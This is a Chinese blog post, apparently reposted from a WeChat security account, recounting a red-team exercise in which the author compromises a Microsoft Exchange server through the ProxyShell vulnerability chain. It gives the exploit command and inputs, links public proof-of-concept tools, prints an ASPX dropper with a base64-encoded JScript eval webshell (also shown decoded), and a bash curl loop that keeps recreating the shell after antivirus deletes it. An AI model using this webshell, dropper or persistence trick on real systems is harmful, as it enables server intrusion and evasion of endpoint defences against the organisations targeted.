一次攻防Exchange艰难getshell

admin 2024年6月3日10:04:26评论8 views字数 2551阅读8分30秒阅读模式

 

免责说明

本文章仅供学习交流和安全研究使用,请勿用于违法行为,否则后果自负!

由于最近几个月忙着hw没时间写更新,现在闲下来了写写hw的时候遇到有趣的一些漏洞。

在一次市级hw中遇到CVE-2021-34473,edr+杀软绕的我好辛苦。

一次攻防Exchange艰难getshell

这个exchange是需要配合这三个漏洞组合getshell的:

CVE-2021-34473 Microsoft Exchange ACL绕过漏洞CVE-2021-34523 Microsoft Exchange权限提升漏洞CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞

漏洞影响范围:

Microsoft Exchange Server 2010Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019

复现流程:

首先使用SSRF漏洞,请求AutoDiscover服务,获取legacyDn将legacyDn作为参数,访问mapi/emsmdb接口,能够获得用户对应的sid在Header中使用SerializedSecurityContext,指定用户身份进行EWS调用操作

我们可以直接利用脚本进行攻击
1.首先我们需要生成一个加密的webshell
webshell加密脚本:
https://github.com/Ridter/proxyshell_payload
在proxyshell_payload.py中修改
一次攻防Exchange艰难getshell
修改末尾的图中的地方,将其替换为webshell
然后运行得到payload(encode部分):
一次攻防Exchange艰难getshell
2.利用脚本进行攻击
利用exp:
https://github.com/dmaasland/proxyshell-poc
然后安装依赖,将上一步得到的payload,复制到proxyshell_rce.py的314行中:
一次攻防Exchange艰难getshell
python proxyshell_rce.py -u https://xx.xxx.xx/ e administrator@xxx.xx
运行程序后,依次输入:
Get-MailboxExportRequestGet-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$falsedropshell
一次攻防Exchange艰难getshell
一次攻防Exchange艰难getshell
提示shell的地址访问可以看到写入成功
一次攻防Exchange艰难getshell
正常来说直接连接马就行了,但是我连了半天还是没反应,过段时间再访问就404,猜测有杀软,利用免杀马重新上传显示错误。
一次攻防Exchange艰难getshell
猜测符号和限制长度的问题,绕了好久还是不行,于是跟其他师傅交流了一下,试试能不能将列表列出来。
一次攻防Exchange艰难getshell
列出目录文件,发现有很多马子,这里有个思路就是看看能不能利用别人的马子爆破连接密码进行连接,但是访问了一下全是404,估计是有waf拦截,我就说为什么那么明显的漏洞没人成功进去,进去的话早就扣分了,但是防守排名这个公司还是前几名,分数没有被扣除。
一次攻防Exchange艰难getshell
然后换另一种思路,写入一个生成木马的aspx
<%@ Page Language="C#" %><html><head></head><body><%string filePath=Server.MapPath("./123.aspx");string base64Content="PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK";byte[] contentBytes=System.Convert.FromBase64String(base64Content);string content=System.Text.Encoding.UTF8.GetString(contentBytes);System.IO.File.WriteAllText(filePath,content);%><h1>success</h1></body></html>
内容就是在aspx文件根目录生成一个文件内容是123.aspxPHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK利用base64解密写入123.aspx
base64里就是一句话aspx木马,aspx是可以用JavaScript来作马的。
<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['tangant'],'unsafe');}</script>
一次攻防Exchange艰难getshell
然后重新上传,访问上传成功的文件,提示success说明就写入成功了。
一次攻防Exchange艰难getshell
访问aspnet_client/123.aspx
一次攻防Exchange艰难getshell
成功写入,连接webshell。
一次攻防Exchange艰难getshell
一次攻防Exchange艰难getshell
最高权限都不用提权了,还是两个域控!!并且还有亚信edr。
一次攻防Exchange艰难getshell

由于时间有点晚了,就睡觉了

结果第二天醒来,全部404!但是漏洞还没有修复!

然后重新上传了,发现还能用,但是没过一分钟马子就被删除了,猜测运维是安装了杀软+edr。真的要命啊,一hw基本上都是edr~

冷静,想了想虽然过一分钟就删除马子,那我们是不是可以一直访问上传马子的链接就可以一直生成马了,相当于不死马的一样。

然后写一个sh脚本挂在服务器上一直访问那个链接

#!/bin/bashwhile truedo curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspxdone
然后通过这个漏洞直接打穿!

 

原文始发于微信公众号(F12sec):【好文转载】实战|记一次攻防Exchange艰难getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日10:04:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次攻防Exchange艰难getshellhttps://cn-sec.com/archives/2806576.html

发表评论

匿名网友 填写信息